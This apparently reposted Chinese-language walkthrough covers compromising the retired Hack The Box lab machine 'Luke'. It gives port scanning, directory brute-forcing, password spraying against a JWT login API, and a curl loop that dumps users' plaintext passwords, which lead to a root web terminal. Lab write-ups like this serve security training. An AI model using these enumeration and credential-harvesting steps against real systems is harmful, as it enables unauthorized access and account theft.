zoukankan      html  css  js  c++  java
  • HTB-靶机-Luke

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.137

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.137 -o ./Luke-autorecon

    也可以使用官方的方法进行快速的扫描

    masscan -p1-65535 10.10.10.137 --rate=1000 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    nmap -Pn -sV -sC -p$ports 10.10.10.137
    或者
    nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.137
    nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.137

    开放了21,22,80,3000,8000端口,我们一个一个端口来试试

    21端口已经扫描出来可以匿名登录了, 直接匿名登录下载文件

    根据上面得描述得知目标靶机有两个用户给Chihiro, Derry ,并且删除了相关的安全策略,22端口爆破我们就不试,看下80端口

    访问页面正常,没发现啥东西,常规套路爆破下看看

    gobuster dir -u http://10.10.10.137/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 150 s "200,204,301,302,307,403,401"

    得到了重要的目录,我们访问一把

    其中uri地址member,management访问需要认证,我使用上面数据库得到的密码登录但不成功,我们继续看开放的3000端口,同样使用gobuter爆破

    gobuster dir -u http://10.10.10.137:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 150 s "200,204,301,302,307,403,401"
    或者
    wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.137:3000/FUZZ --hc 404

    可确认存在uri地址login和users,分别使用burpsuite进行访问看看结果

    根据上面的显示结果,是需要账号和密码进行认证的,看响应的头信息,可能使用jwt方式进行认证, 可以通过https://jwt.io/ 查看jwt的加密算法

    我们试试通过jwt的提交方式构造请求猜测用户名和密码,可以使用下面两种方式构造

    POST /login HTTP/1.1
    
    Host: 10.10.10.137:3000
    User-Agent: curl/7.68.0
    Accept: */*
    Content-Type: application/json
    Content-Length: 41
    Connection: close
    
    
    {"username":"luke","password":"password"}
    
    或者
    
    curl http://10.10.10.137:3000/login -H "Content-Type: application/json" -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' | jq .

    上面的反馈可以知道确实就是jwt格式的方式请求认证,那么我们就使用上面访问数据库得到的账号和密码进行测试,经过不断测试,发现可以通过密码喷洒的方式尝试猜测用户名是哪个,经过猜测尝试发现admin用户是可以成功通过认证,并获取目标靶机登录成功的认证token

    或者

    得到认证成功的token之后直接拿着这个token访问uri地址users遍历所有用户,具体格式可以参考下面的链接得知获取到token之后可以使用下面的方式进行构造请求

    https://gist.github.com/narenaryan/4d03bb4ccda5bb634a3cb5c51f5e79a7

    遍历出目标靶机的用户名的密码
    
    for user in admin derry yuri dory; do curl http://10.10.10.137:3000/users/${user} -H "authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjE3MzM0MjEyLCJleHAiOjE2MTc0MjA2MTJ9.8fATcRXrT9tMiZCigtV5dq3zK3wrdtBbdbiJuymDfQM"; echo; done
    {"name":"Admin","password":"WX5b7)>/rp$U)FW"}
    {"name":"Derry","password":"rZ86wwLvx7jUxtch"}
    {"name":"Yuri","password":"bet@tester87"}
    {"name":"Dory","password":"5y:!xa=ybfe)/QD"}

    拿着上面的用户和密码去尝试登录地址:http://10.10.10.137/management

    最终确认可以通过  {"name":"Derry","password":"rZ86wwLvx7jUxtch"} 能成功登录,并发现如下信息

    那么根据上述信息,刚好目标靶机开放了8000端口,并且是web页面,我们使用root账号和上面的密码进行登录

    成功登录并新建一个terminal

    进入此terminal发现是root权限,那么可以直接读取root.txt和user.txt

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    数组中最大和的子数组
    数据结构与算法面试题80道
    fcntl获取和修改文件打开状态标志
    dup等复制文件描述符函数
    截断文件函数truncate和ftruncate
    浅析
    五个Taurus垃圾回收compactor优化方案,减少系统资源占用
    如何用交互式特征工程工具进行数据分析处理
    【华为云技术分享】解密如何使用昇腾AI计算解决方案构建业务引擎
    Scrum Master教你四招,瓦解团队内部刺头
  • 原文地址:https://www.cnblogs.com/autopwn/p/14610481.html
Copyright © 2011-2022 走看看